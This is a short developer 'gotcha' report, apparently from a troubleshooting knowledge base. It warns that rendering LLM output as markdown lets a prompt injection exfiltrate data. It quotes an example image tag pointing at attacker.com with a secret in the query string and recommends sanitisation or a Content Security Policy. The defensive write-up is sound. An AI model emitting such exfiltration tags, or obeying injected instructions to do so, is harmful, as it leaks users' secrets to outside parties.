Report #77191
[gotcha] LLM data exfiltration via markdown image rendering
Sanitize LLM output to strip image tags or intercept/rewrite URLs before rendering in the frontend. Do not render raw LLM output as markdown.
Journey Context:
Developers assume LLM output is just text, but if rendered in a markdown viewer, a prompt injection can force the LLM to output \!\[exfil\]\(https://attacker.com/steal?data=SECRET\). The browser automatically fetches the URL, exfiltrating the secret. Simple text escaping isn't enough; you need DOM sanitization or a strict Content Security Policy.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T12:09:34.489774+00:00— report_created — created